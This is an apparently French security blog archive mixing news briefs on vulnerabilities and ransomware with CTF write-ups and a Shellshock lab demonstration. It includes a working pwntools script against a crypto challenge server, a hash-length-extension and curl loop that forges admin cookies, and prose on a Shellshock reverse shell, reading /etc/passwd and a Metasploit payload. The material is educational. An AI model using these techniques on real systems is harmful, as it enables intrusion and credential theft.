[Vulnérabilité] SMBLoris, une nouvelle vulnérabilité SMB a été divulguée durant la même conférence DefCon. La vulnérabilité est présente dans tous les OS Microsoft depuis Windows 2000. Un attaquant distant peut exploiter cette vulnérabilité d'épuisement de la mémoire en envoyant un paquet NBSS spécialement conçu entraînant ainsi un déni de service. Microsoft a déjà indiqué qu'il n'émettrait pas de patch pour cette vulnérabilité car elle ne correspondait par aux critères de services de sécurité du géant de Redmond. Afin de combler le vide, les fournisseurs des solutions IPS / IDS ont déjà commencé à publier des solutions personnalisées pour détecter et prévenir l'exploitation de SMBLoris.
[Cybercrime] Pendant des mois, le kit d'exploitation Magnitude a été le moyen de diffusion privilégié pour le célèbre ransomware Cerber. Sa capacité à tromper les systèmes d'enchères en temps réel utilisés par de nombreuses régies publicitaires le démarque des autres kits d’exploitation. En outre, Magnitude utilise des sites de leurres personnalisés pour filtrer plus efficacement le trafic entrant.
[Juridique] En 2015, une société allemande a licencié un de ses employés après l'avoir accusé d'avoir travaillé sur un jeu vidéo pour une entreprise rivale pendant ses horaires de travail. Le développeur a ensuite poursuivi son ancien employeur pour un licenciement injustifié et a remporté l'affaire en raison du fait que son ex-employeur avait obtenu les preuves par l'entremise d'un « keylogger ». Cela malgré le fait que l’employeur avait bien informé ses employés que leur trafic réseau et ordinateurs professionnels seraient surveillés en permanence. Sans toutefois préciser de de détails techniques.
J'ai créé ce blog pour partager avec vous mes aventures dans l'audit / pentest, l'analyse des logiciels malveillants, la criminalistique numérique et d'autres choses intéressantes.
lundi 14 août 2017
lundi 17 juillet 2017
CTFZone 2017 e-Voting (crypto 409pts)
It's a crypto task where they gived us a ciphertext which is represented in two values (C1 & C2) ; this help us to realize that's the cryptosystem probably used is el gamal cryptosystem which is also based on diffie-hellman like it was said in the description of the task. The aim is clear, we have to decipher this ciphertext and the plaintext will be the flag.
The script below will decrypt the ciphertext quickly due to flaw of the implementation of the cryptosystem by this service.
Output :
ctfzone{fc575129f3935d5b456ed55ef8173574}
from pwn import *
import re
import sys
import string
r = remote("82.202.204.134",1331 )
m = r.recvuntil('-> ', drop=True)
m = m.split("(")
m = m[1]
m = m.split(")")
m = m[0]
m = m.split(" ")
C1 = m[0]
C2 = m[1]
r.writeline("D \n")
m = r.recv()
C1 = int(C1) * 2
r.writeline(str(C1) +" " + str(C2))
o = r.recv()
o = o.split("\n")
o = o[1]
o = int(o,16)
o = o / 2
o = format(o, 'x')
print "flag is : ctfzone{"+o+"}"
Output :
ctfzone{fc575129f3935d5b456ed55ef8173574}
mercredi 17 mai 2017
Wanna Cry
Rançon
La fin de semaine a été mouvementée pour les
administrateurs sécurité à travers le monde suite à la propagation du
ransomware WannaCry. Ce malware a défrayé la chronique tout le week-end en
raison de sa rapidité de propagation et de son impact important sur plusieurs
grosses entreprises.
Cela a commencé vendredi après-midi avec la
perte du réseau de téléphonie mobile espagnol Telefonica pour continuer sur le
blocage des services hospitaliers anglais, l’arrêt de plusieurs sites de
productions à travers le monde dont Renault mais aussi l’infection de
différentes banques.
Ce ransomware a utilisé comme moyen de
propagation une faille rendue publique mi avril suite à la divulgation par le
groupe ShadowBrokers des outils offensifs de la NSA.
Pour se propager, le ransomware scanne le
réseau local sur lequel il se trouve ainsi qu’une plage d’adresse IP publique
aléatoire à la recherche d’autres machines vulnérables.
La leçon à retenir est qu’il est nécessaire
d’appliquer aussi rapidement que possible les mises à jour de sécurité pour
éviter une paralysie complète du système d’information.
mardi 25 avril 2017
Actualité sécurité
Attaque
La Fédération internationale d’athlétisme a
été victime d’un piratage informatique notamment les exemptions accordées à
certains athlètes les autorisant à utiliser, pour raisons médicales, des
produits interdits. Selon l’IAAF, l’attaque a été menée par le groupe FANCY
BEAR (aussi connu, notamment, sous le nom d’APT28). Pour rappel, La
Fédération internationale d’athlétisme a suspendu depuis le 13 novembre 2015 la
Russie de toutes les compétitions internationales – dont les Jeux olympiques de
Rio et les Championnats du monde 2017 à Londres – après des révélations
établissant un dopage d’État en Russie. Source
Menace
Des attaquants utilisent de fausses stations radio en Chine pour distribuer le malware Android Swearing par SMS. Interceptant la communication d'un terminal et de son réseau sans fil en se faisant passer pour un opérateur légitime, les attaquants envoient un message texte à l’utilisateur l'invitant à télécharger une application ou une mise à jour, en cliquant sur un lien de téléchargement d'un fichier APK. Le malware Swearing exfiltre les données à caractère personnel contenues dans le portable et intercepte les SMS pour passer outre l’authentification à deux facteurs ou d’autres systèmes à codes uniques utilisés par les banques chinoises. Source
Vulnérabilité
[Apache] Une vulnérabilité permettant
l’exécution de code à distance a été découverte dans le parseur Jakarta
d’Apache Struts2. Cette vulnérabilité est en activement exploitée dans la
nature et des preuves de concept sont publiquement disponibles. L’exploitation
la plus avancée tente de télécharger une charge malveillante et de désactiver
le pare-feu local avant l’exécution du malware.
Fuite
[IOT] Une fuite de donnée
a touché la semaine dernière une infrastructure utilisée par un ours en peluche
connecté créé par une société nommée Cloud Pets : 800 000 comptes ont
été volés. Les jouets sont conçus pour effectuer des connexions sur une
infrastructure dédiée utilisant MongoDB. Malheureusement, leur instance de
MongoDB écoutait sur l’adresse IP publique de la machine qui l’hébergeait et
n’utilisait aucun mécanisme d’authentification…
La
communication autour de cet incident a été très mal gérée par la société et
l’impact sur les actions de Spiral Toys (la société possédant Cloud Pets) a été
terrible… Source
Menace
Google et des chercheurs de l'institut CWI
(Centrum Wiskunde & Informatica) ont
annoncé être
parvenu à générer une collision via la fonction de hachage cryptographique
SHA-1. Encore utilisée pour sécuriser les communications et les certificats,
cette collision confirme que la sécurité de SHA-1 n’est plus garantie.
La méthode sera dévoilée sous 90 jours afin notamment que les utilisateurs de
SHA-1 puissent migrer vers des solutions de chiffrement plus complexes. Google a déjà implémenté
des protections relatives à cette technique sur certains de ses produits. Source
jeudi 5 janvier 2017
MSSP CTF WEB 150 - Safe Hashing
#Sudo_root
#Zakizak
#Zakizak
MSSP CTF
WEB 150 - Safe Hashing
We gave us a link
and we asked us to get the secret under it.
The link given
was : https://web-piratuer.c9users.io/web5/
Opening the page
https://web-piratuer.c9users.io/web5/index.php~
shows this line of code
'; } else { readfile(basename($_GET['useme'])); } } ?>
From the line,
above, we can see that readfile function
is used and parameter 'useme' define which page should be loaded. Let’s add
this parameter to the end of our URL and try to load the page 'index.php'
trough this manner :
https://web-piratuer.c9users.io/web5/?useme=index.php
Openning the
index page this way, return the same result as the page " index.php~"
loaded natively before.
Now, after a few
tries of pages suceptibles to exist, we found that a page named 'admin.php'
exist. Unfortunately, loading this page return us a troll image which seems to
tell us that we can't load it as easily.
Showing the
source code of this page reveals interesting things. There is a huge party of
the source code of the page ‘admin.php’, Here it is :
<!--?php #Serious things begin now good luck :).
require_once("config.php"); $passme = false; if (isset($_COOKIE["is_admin"]))
{ $pass = $_COOKIE["is_admin"]; $passme = unserialize($pass);
$signature = $_COOKIE["mac"]; if ($signature !==
hash("sha512", $SHAREDSEC . strrev($pass))) $passme = false; } else
{ $passme = false; $serial = serialize($passme); setcookie("is_admin",
$serial); setcookie("mac", hash("sha512", $SHAREDSEC .
strrev($serial))); } if ($passme) { echo "Congrats!! ".$FLAG; }
else echo '<img src="troll.jpg" alt=""-->
|
One line
captivante in this source code is :
if ($signature
!== hash("sha512", $SHAREDSEC . strrev($pass)))
This line is the
only one which could let the variable $passme having another value than false
in order to fill the last condition which is :
if ($passme) { echo "Congrats!! ".$FLAG; }
And as a
consequence, getting the flag we search for.
Now we can see
that there is a hash extension vulnerablity. It means that we can add arbitrary
data to the end of the string, and generate a new authentication token for it.
When we visit the
admin page natively for the first time, this code is executed:
$passme = false;
$serial = serialize($passme); setcookie("is_admin", $serial); setcookie("mac", hash("sha512", $SHAREDSEC . strrev($serial))); |
From that, we see
that our cookie is a serialized PHP datatype, in this case simply 'false'. The
mac token is generated by prepending a secret to the reversed version of the
authentication string .
Those two cookies
are set. Then later, when you return, the cookies are sent back and validated:
if (isset($_COOKIE["is_admin"]))
{
$pass = $_COOKIE["is_admin"];
$passme = unserialize($pass);
$signature = $_COOKIE["mac"];
if ($signature !== hash("sha512", $SHAREDSEC .
strrev($pass))) $passme = false;
}
|
By looking for
created cookies, I find out that my cookies for this website are:
is_admin=b:0;
mac=1505c60315b49ac1403d9cc0e2d02a435f3550b61cbf95000de3d19746b65545b361516775355aaa8fa57bf49f0a6a4e2c76667fa1ee38da5ae1681a5ccff2d
The value
"b:0;" refer to boolean zero (false). The true value will be
"b:1;". That's the value I want to append.
The only
constraint is that we don’t know the length of $SHAREDSEC, which is
unfortunately important for this attack. So we have to brute-force it.
For doing that,
we’ll use a tool called hash_extender. However, we have to modify it a
little because this challenge requires
the string to be reversed before being validated.
Basically, we
just have to modify the output function under the main file ‘hash_extender.c’
in order to reverse the string as said.
Then, we run hash_extender
like this:
$ ./hash_extender --data ';0:b' -s
1505c60315b49ac1403d9cc0e2d02a435f3550b61cbf95000de3d19746b65545b361516775355aaa8fa57bf49f0a6a4e2c76667fa1ee38da5ae1681a5ccff2d9
--append ';1:b' --secret-min=1 --secret-max=32 --out-data-format=html
This tells it to
try every secret length between 1 and 32 bytes. One of them should work.
Then we can
automate the task entirely by mixing curl tool to the above function for each
of the 32 request like this :
for i in `./hash_extender --data ';0:b' -s 1505c60315b49ac1403d9cc0e2d02a435f3550b61cbf95000de3d19746b65545b361516775355aaa8fa57bf49f0a6a4e2c76667fa1ee38da5ae1681a5ccff2d9 --append ';1:b' --secret-min=10 --secret-max=32 --out-data-format=html`; do HASH=`echo $i | sed 's/,.*//'`; DATA=`echo $i | sed 's/.*,//'`; echo "$DATA :: $HASH"; curl -b "is_admin=$DATA;mac=$HASH" https://web-piratuer.c9users.io/web5/admin.php; echo; done
By redirecting
the result into a file and by searching for the prefix of the flag mssp,
we fast retrieved the whole flag as
shown below:
dimanche 18 décembre 2016
Writeup WhiteHat GrandPrix - 100 - Banh bot loc - Web
Writeup WhiteHat GrandPrix - 100 - Banh bot loc - Web
#
Zakizak
# Sudo_root
# Sudo_root
Description
This url were given
to us: http://web05.grandprix.whitehatvn.com and they asked us
for finding the flag.
Visiting the website we had something like this :

The login link go to http://web05.grandprix.whitehatvn.com/index.php?username=guest&password=guest and says noob like
this :
Let’s see source code of teh web page
To show the secret value, it's clear that we have to get around this test
if($Username.$key == md5($password).
The above line checks that the concatenation of the username and the
key is equal to the md5 hash of the password.
knowing that unexpected Behavior of PHP equal to operator :
the combinaison of username and password shown on the next figure will get around the condition and get us the flag back like this :
mercredi 27 juillet 2016
L'attaque baptisée SHELLSHOCK
Description :
Il s'agit d'une vulnérabilité logicielle présente dans le shell Unix bash. Ce logiciel est responsable de l’exécution de programmes, que ce soit des programmes lancés par des utilisateurs que d’autres programmes, et est souvent utilisé par les serveurs web pour lancer des sous-programmes responsables de la génération des pages. Cette faille touche l’environnement, un ensemble de données transmises de programme en programme, qui contient des informations utiles pour l’exécution de ces derniers. Dans le cas d’un serveur web, il est utilisé pour transmettre toutes les informations sur une requête (quelle page demande l’utilisateur, quel navigateur il utilise, de quelle page il vient, …) au programme suivant. Le problème est une fonctionnalité ajoutée à bash il y a longtemps (en 1989) qui permet d’utiliser l’environnement pour passer des fonctions, des morceaux de code qui peuvent être utilisées par le shell pour exécuter certaines tâches. Cette fonctionnalité peut se révéler utile et n’est pas vraiment le problème: dans le cas d’un serveur web, bash se contenterait de passer le code de la fonction au programme de génération de la page et ne jamais les utiliser. Mais voici le problème: si la fonction est écrite correctement, elle peut forcer bash à exécuter du code à son lancement, ce qui n’est pas souhaitable. Cela veut dire qu’une personne peut simplement demander une page et introduire un en-tête HTTP spécialement préparé, et lorsque bash va lire l’environnement contenant les données malicieuses, il va tenter de les exécuter. Et cela permet d’exécuter toutes sortes d’attaques.
Il s'agit d'une vulnérabilité logicielle présente dans le shell Unix bash. Ce logiciel est responsable de l’exécution de programmes, que ce soit des programmes lancés par des utilisateurs que d’autres programmes, et est souvent utilisé par les serveurs web pour lancer des sous-programmes responsables de la génération des pages. Cette faille touche l’environnement, un ensemble de données transmises de programme en programme, qui contient des informations utiles pour l’exécution de ces derniers. Dans le cas d’un serveur web, il est utilisé pour transmettre toutes les informations sur une requête (quelle page demande l’utilisateur, quel navigateur il utilise, de quelle page il vient, …) au programme suivant. Le problème est une fonctionnalité ajoutée à bash il y a longtemps (en 1989) qui permet d’utiliser l’environnement pour passer des fonctions, des morceaux de code qui peuvent être utilisées par le shell pour exécuter certaines tâches. Cette fonctionnalité peut se révéler utile et n’est pas vraiment le problème: dans le cas d’un serveur web, bash se contenterait de passer le code de la fonction au programme de génération de la page et ne jamais les utiliser. Mais voici le problème: si la fonction est écrite correctement, elle peut forcer bash à exécuter du code à son lancement, ce qui n’est pas souhaitable. Cela veut dire qu’une personne peut simplement demander une page et introduire un en-tête HTTP spécialement préparé, et lorsque bash va lire l’environnement contenant les données malicieuses, il va tenter de les exécuter. Et cela permet d’exécuter toutes sortes d’attaques.
Exploitation (POC)
Démo
d'une attaque Shellshock par injection d'entête HTTP :
Le test
démontré consiste à envoyer à un serveur web[1],
disponible sur le réseau, un paquet HTTP
forgé avec des entêtes HTTP contenant une injection de commande. Le serveur,
étant vulnérable contre ShellShock, va passer les valeurs des entêtes HTTP sous
forme de variables Bash et par conséquent les commandes incluses seront
exécutées de manière illicite.
Schéma global du réseau
Le réseau virtuel
privé mis en place tourne sous Virtualbox selon l’architecture suivante :
Les adresses
IP des deux machines ont été affectées par le serveur DHCP, propre à
l'adaptateur ethernet #2 avec le pool d’adresse 192.168.220.220-100/24.
Machine d'attaque :
Récolte
d’informations :
En réalisant
un mapping du réseau avec Nmap sur l’adresse 192.168.220.100/24 nous avons
découvert l’adresse 192.168.220.103 sur laquelle nous avons effectué un scan
plus approfondi.
Nous pouvons
constater les différents ports ouverts et les différentes versions de
services en vigueurs sur ces ports. On constate
également le déploiement d’interfaces de connexions administratives via SSH
d'une part, et un serveur Web qui tourne sur le port 80 d'autre part.
En tentant
d'y accéder au site web à travers un navigateur, on tombe sur la page suivante
:
Si on s'attarde sur le contenu de la page web, on verra bien
qu'elle inclut des informations sur le système (le serveur web en question). En
parcourant le code source de cette page, on s'aperçoit de la fonction appelé
par un script pour générer une telle sortie. Il s'agit de la fonction status()
qui est définit ainsi :
En fait,
cette fonction fait appel à un script CGI dont on a pu clairement obtenir le
chemin.
En indiquant
le chemin du script dans la barre d'adresse, on retrouve bien les informations
précédentes sur le système ainsi :
A présent,
nous allons actualiser la page tout en interceptant la requête de chargement de
la page avec le proxy Burp afin d'y
injecter notre code malicieux dans l'en-tête HTTP. Plus précisément, nous
allons modifier la valeur du champ 'User Agent' de l'en-tête HTTP comme suit :
On modifie
cette valeur par le code suivant afin de tester si le serveur est vulnérable
contre ShellShock :
A priori, il
s'agit d'un code plus ou moins bénin qui va afficher la chaine de caractère
précisée, dans la page retournée, ainsi
:
En effet,
notre code a été interprété par Bash et a été correctement exécuté, ce qui
affirme l'existence de la faille ShellShock dans le serveur web en question.
Encore plus
critique, nous allons tenter de charger le fichier /etc/passwd depuis le
serveur :
Le résultat est le suivant :
Désormais, la gravité de la faille commence à prendre de
l'ampleur étant donné qu'on a pu charger le fichier des mots de passes des
utilisateurs depuis le serveur.
Pour finir, nous allons tenter de maintenir un reverse shell
sur le serveur en ouvrant un port sur notre machine et en tenant de s'y
connecter depuis le serveur afin qu'on puisse obtenir un shell dessus.
A titre d'exemple, on ouvre le port 31337 sur notre machine
comme suit :
Ensuite, on injecte le code malicieux suivant permettant le
back connect :
On voie clairement notre adresse IP incluse dans le code
injecté dans la figure précédente.
A présent, si on revient vers notre terminal (là où netcat
écoute sur le port 31337),
On pourra suivre l'établissement de la connexion étant donné
que le mode verbose (option -v) a bien été précisée.
Une fois connecté, on pourra exécuter des commandes à distance
ainsi :
Ce qui reflète d'ailleurs toute la criticité de de cette
vulnérabilité.
Sachez que l'exploitation de cette vulnérabilité pourrait se
faire automatiquement de manière très rapide en utilisant le framwork
Metasploit et l'exploit exploit/multi/http/apache_mod_cgi_bash_env_exec.
Il suffira d'indiquer uniquement l'adresse IP du serveur web ainsi que le lien
vers le script CGI. L'obtention d'un shell se fait aisément en utilisant la payload "linux/x86/meterpreter/reverse_tcp" de metasploit.
Inscription à :
Articles (Atom)























